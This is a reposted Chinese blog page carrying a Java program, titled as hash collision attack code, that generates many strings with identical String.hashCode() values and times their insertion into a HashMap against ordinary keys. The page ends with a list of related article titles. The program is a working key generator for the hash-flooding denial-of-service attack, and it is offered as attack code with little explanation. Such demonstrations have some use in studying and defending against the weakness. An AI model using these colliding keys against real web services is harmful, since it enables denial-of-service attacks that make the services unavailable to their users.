Hash Collision攻击的代码(java)
来源:互联网 发布:人均读书 知乎 编辑:程序博客网 时间:2024/05/29 17:10
Hash Collision攻击的代码(java)
package com.wzucxd;import java.math.BigDecimal;import java.util.HashMap;import java.util.Map;public class HashCollision_ {private static final inti1= 48;private static final inti2= 8;private static final inti3= 31;private static final inti4= 60000;private static final longl1= i3 - 1;private static final longl2= 2l << 32;private static final BigDecimald1= new BigDecimal(31);private static final BigDecimald2= d1.pow(i2);private static final BigDecimald3= new BigDecimal(l2);public static void main(String[] args) {Map<String, Integer> map = null;//普通long startTime = System.currentTimeMillis();map = new HashMap<String, Integer>();for (int i = 0; i <= i4; i++) {String s = String.valueOf(i);map.put(s, 0);}long endTime = System.currentTimeMillis();System.out.println(String.format("hash normal %s s", (endTime - startTime) / 1000.0));//攻击startTime = System.currentTimeMillis();map = new HashMap<String, Integer>();for (int i = 0; i <= i4; i++) {String s = String.valueOf(i);while (s.length() < 5) {s = "0" + s;}int hs = s.hashCode();char[] r = g(hs, 0);s = s.concat(new String(r));map.put(s, 0);}endTime = System.currentTimeMillis();System.out.println(String.format("hash collision %s s", (endTime - startTime) / 1000.0));}private static char[] g(int s, int t) {long hx1 = l1 * s + i1;BigDecimal hx2 = d2.multiply(new BigDecimal(hx1)).subtract(new BigDecimal(i1));BigDecimal hx3 = hx2.divide(new BigDecimal(l1));BigDecimal hx4 = new BigDecimal(t).subtract(hx3);BigDecimal b = hx4.divideToIntegralValue(d3.multiply(d3));long l = hx4.subtract(b).longValue();l = (l + l2) % l2;if (l < 0)l += l2;char[] c = new char[i2];int p = 0;while (l != 0) {c[p++] = (char) (l % (i3) + i1);l = l / i3;}int f = i2 - p;char[] cs = new char[i2];int i = 0;while (i < f) {cs[i++] = (char) i1;}while (i < i2) {cs[i] = c[p - i + f - 1];++i;}return cs;}}
- Hash Collision攻击的代码(java)
- hash collision攻击的延续
- Hash Collision DoS 问题, Hash碰撞的拒绝式服务攻击
- Resin上的Hash Collision DoS
- 有关 Hash Collision DoS 的一些问题
- Hash Collision DoS 问题
- Hash Collision DoS
- collision by chaining的hash的cpp模板实现
- Java Hash Algorithm Collision Practice (JAVA哈希算法冲突实践)
- Hash碰撞的拒绝式服务攻击
- PHP中的hash碰撞的攻击实例
- 一种高级的DoS攻击-Hash碰撞攻击
- hash表的代码
- 常用的攻击代码
- 对一致性Hash算法,Java代码实现的深入研究
- 对一致性Hash算法,java代码实现的深入研究
- 对一致性Hash算法,Java代码实现的深入研究
- 对一致性Hash算法,Java代码实现的深入研究
- 网站链接
- RMagic安装手记
- VC 05中改变for的范围
- 在Rails里使用ReCaptcha添加验证码
- 安卓SDK更新出错
- Hash Collision攻击的代码(java)
- 北邮12月份月赛 E 动态规划
- 重装UBUNTU系统-个性环境配置
- web应用防火墙:ModSecurity
- 利用Servlet导出Excel
- 正则表达式30分钟入门教程
- 防止表单重复提交
- java文件下载格式为html和mht后覆盖原来的页签?
- 永远免费的Paas云平台总结(2011年版)